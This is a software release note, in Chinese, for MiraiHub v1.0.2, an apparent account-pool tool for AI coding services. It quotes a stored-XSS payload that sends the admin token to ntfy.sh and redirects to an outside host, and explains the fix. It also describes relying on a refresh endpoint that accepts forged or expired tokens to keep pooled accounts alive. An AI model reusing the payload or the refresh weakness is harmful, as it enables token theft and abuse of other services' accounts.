Skip to content

MiraiHub v1.0.2

Choose a tag to compare

@xiaofan6ya xiaofan6ya released this 02 Nov 08:58
· 183 commits to main since this release

MiraiHub v1.0.2

本版重点:修复控制台存储型 XSS(线上事件)、修正账号令牌有效期的判断口径(此前会误判「30 天后必须重新登录」)、以及一批复制/样式/启动脚本的实际缺陷。

一、安全修复

控制台存储型 XSS(CVE 类,已在线上真实触发)

攻击者用手机号走公开自助注册(/api/join/*)把自己的账号塞进号池,昵称里写入:

');navigator.sendBeacon('//ntfy.sh/xxx',localStorage.wb_admin_token);location='http://x.x.x.x/admin'//

后台账号行把这个昵称拼进内联处理器:

onclick="growthTasks(55,'${esc(a.name)}')"

esc() 只做 HTML 实体转义(& < > "),不处理单引号;而 onclick 属性的值是「先由 HTML 解析器解码实体、再交给 JS 解析」——一个 ' 就能闭合字符串、跳出参数位执行任意语句,把 localStorage 里的后台令牌外带出去。管理员点任意一行操作按钮即中招。

三层修复:

层 做法
入库 新增 clean_display_name():剔除 < > & " ' \ \`、控制字符,长度封顶 64,空值回落到「未命名」——payload 根本进不了库
渲染 模板里不再出现 '${esc(...)}' 这种「单引号 JS 字符串 + HTML 转义」组合,一律改用 jsv()(内部 JSON.stringify,引号被转成 \u0027,实体解码后仍是安全字面量)
回归 tests/test_console_xss.py 用真实 payload 断言三条线都成立

注意:不能用「把 ' 转成 &#39;」来修 —— 实体解码后还是 ',一样能闭合字符串。必须做 JS 层编码。

二、账号令牌有效期:之前的技术结论是错的

原结论是「accessToken 是 30 天 JWT,refreshToken 换新必须 client_secret,而 secret 既不在客户端也不在开源码里,所以 30 天后只能重新登录」。实测推翻:

实测项 结果
刷新端点鉴权 POST /v2/plugin/auth/token/refresh 只要一个 X-Refresh-Token 头,不需要 client_secret
accessToken 已过期 / 签名伪造 / 完全不传 Authorization 三种都返回 200 + 新令牌
刷新后 refreshExpiresIn 恒为 5183999(约 60 天),每刷一次整体后移
旧 refreshToken 重放 仍然成功(宽容轮换,写回失败不会当场废号)

所以凭证是两条独立时间线:

  • access(30 天) —— 过期不是终态,一次刷新就复活,只是「该刷了」的提示
  • refresh(60 天滑动窗口) —— 才是真正的死亡线

本版做了什么

  • admin/platform/workbuddy/core/credential_expiry.py:同时解析两条时间线,输出 state / days_left / refresh_state / renewable,并绝不抛异常(坏号只降级为 unknown,不让整页列表 500)
  • admin/credential_expiry.py:平台无关入口。具体解析由各平台 Gateway.credential_expiry() 回答,admin 不认识 .info 的内部结构(也满足 test_gateway_contract 的「admin 平台无关性」约束)
  • 续期窗口兜底扫描:以前保活是「每天一个整点」,只要那一刻服务不在线就整轮错过(历史上积压过 18 天)。现在每 6 小时检查一次,有号的窗口剩余 < 14 天就立刻补刷,把「整点错过」降级成「最多晚 N 秒」
  • 请求前提前续命:_refresh_if_suspect() 在发请求前把已过期的号续上,不再白烧一次 401;backend._bearer() 覆盖了原来绕过过期检查的 5 处手动拼头(签到 / 成长任务 / 积分明细 / 遥测上报)
  • 刷新字段合并:原来用 payload 整体覆盖 auth,上游少回一个字段就静默丢数据;现在按字段合并
  • 前端徽标拆成两色:access 过期 → 黄色「令牌待刷新」(能自愈);只有续期窗口告急/关闭才红色

三、其它修复

内置模块的循环导入(1.0.1 起就存在)

converter.py 顶部有 from admin.upstream_errors import UpstreamError,这一行会把 admin 包初始化一遍;而 admin/__init__.py 的别名装配会导入平台实现,那个实现第 17 行又写的是 from converter import BACKEND, CredentialError, CredentialManager。

于是成环:converter(第38行) → admin → admin.backend → converter(第114行),此时 BACKEND 还没定义 → ImportError: partially initialized module。

服务本身没炸,纯粹因为 main.py 恰好先 import converter、在 admin 装配前把常量定义好了 —— 靠调用顺序活着。后果是任何把 converter 当独立模块加载的场景(排查脚本、单测、PyInstaller 的不同入口顺序)都会失败。

修法:UpstreamError 改用模块级 __getattr__(PEP 562)按需解析,BACKEND / CredentialError 提前到文件头,growth_plan 的 AccountSession 改为函数内延迟导入。

别名装配静默失败

admin/__init__.py 手动改写 sys.modules["admin.backend"] 时,绕过了 import x.y 会自动做的 setattr(parent, "y", ...)。于是 import admin.backend 能用,但 getattr(admin, "backend") 是 AttributeError —— 而 patch("admin.backend.AccountSession") 走的正是后者,一次影响 9 个测试。

现在同时写入 sys.modules 与包属性;converter 还在初始化时只跳过 backend 这一项(它是唯一反向依赖 converter 的),其余别名照装 —— 避免「装不上」被 except 伪装成「模块不存在」。

复制剪贴板静默失败

顶栏与概览卡的「复制 API 地址」写的是裸 navigator.clipboard.writeText(),没有 catch。在非安全上下文(内网 IP / WebView / 反代)下它会 reject,用户看到「已复制」的提示,剪贴板里却是空的。

现在统一走 writeClipboard():Clipboard API → 失败立刻回落 execCommand,两条路径都走不通时才提示「复制失败,请手动选中」。

1.0.1 的提示条(toast)无样式

1.0.1 的 console.css 里一条 wb-toast 规则都没有,而 index.html 已经输出新结构。后果是提示掉到文档流底部变成纯文本,图标 SVG 没有尺寸约束、按默认 300×150 铺开并填黑 —— 页面上那个巨大的黑色三角形就是它。本版补齐 22 条规则并加回归测试。

移动端设置入口消失

导航改成分组按钮后(接入 同时承载 client / sync / alerts),build_android.py 里「删掉 data-tab=client 按钮」那条正则会把整个分组按钮删掉,连带手机上的设置入口一起消失。构建本身不报错,只有装到手机上才发现。已改为重写为独立的「设置」项,并加 tests/test_mobile_nav.py。

服务重启脚本根本起不来服务

scripts/daemon.ps1 把解释器硬编码成 .venv\Scripts\python.exe。本机没有这个 venv 时,Start-Process 静默失败,日志只留一行空的「已启动服务 PID=」,端口永远不监听 —— 「重启服务没反应」的根因就在这里。

改为按 venv → PYTHON 环境变量 → PATH 依次解析解释器;同时把「固定等 8 秒就判定失败」改为轮询等待(冷启动实测 10 秒上下,8 秒一刀切会把成功报成失败,让真失败和「只是慢一点」混成同一句话)。

账号调度:手动排序语义恢复

「积分到期优先」模式下取「最早到期那一档」做候选,配合「取前 N 档」会让第 2、3 名永远不动。已恢复为默认「只取最小优先级那一档」(用户把某个号拖到第 1 位就是「先烧它」),需要分摊时用 ADMIN_SELECTION_ROTATE_N 显式打开。

四、下载

平台 文件 大小
Windows x64 miraihub-1.0.2-windows-x64.exe 36.0 MB
Android arm64 miraihub-1.0.2-android-arm64.apk 见 Release 附件

五、升级说明

桌面版:直接覆盖安装。会复用 %LOCALAPPDATA%\workbuddy2api\ 下的旧数据库,缺失的列由启动时的 _ensure_column 自动补齐(本版已核对 blocked_ips.expires_at 在清单内)。

Android:卸载旧版后重装。卸载前先导出:账号页 → 管理操作 → 导出。

给账号池的建议:本版上线后先手动点一次「token 保活」,确认日志里的 refreshed 计数不再为 0 —— 之前的实现因为 get_headers() 只在本地 expiresAt 临近时才刷,长期报「成功 N/N、refreshed=0」而实际一个 token 都没动过。

六、校验

# Windows
Get-FileHash .\miraihub-1.0.2-windows-x64.exe -Algorithm SHA256
# Android
Get-FileHash .\miraihub-1.0.2-android-arm64.apk -Algorithm SHA256

与同目录 .sha256 文件比对即可。Release 附件页也会显示 GitHub 侧算出的 digest。

七、已知限制

  • refreshExpiresIn 60 天是滑动窗口,不是无限:只要 60 天内成功刷新过一次就永续,但连续 60 天一次都没成功(服务长期停机)仍会掉号,只能重新授权登录
  • 序号化的手动排序只影响「哪些号参与调度」,不放宽冷却/熔断/额度等健康判定
  • 跨平台凭证解析只实现了 WorkBuddy:Trae / Qoder / Loomy 的凭证结构不同(顶层 token / expiredAt),本版不对它们显示令牌徽标 —— 这是预期,不是异常
  • 本机测试环境中 tests/test_model_limits.py 等 12 个模块存在既有失败(httpx 版本与测试桩对 AsyncClient(transport=...) 的处理冲突,HEAD 版本同样失败),不影响产物;四项核心回归 PASS=76 / 171 / 171 / 83 全绿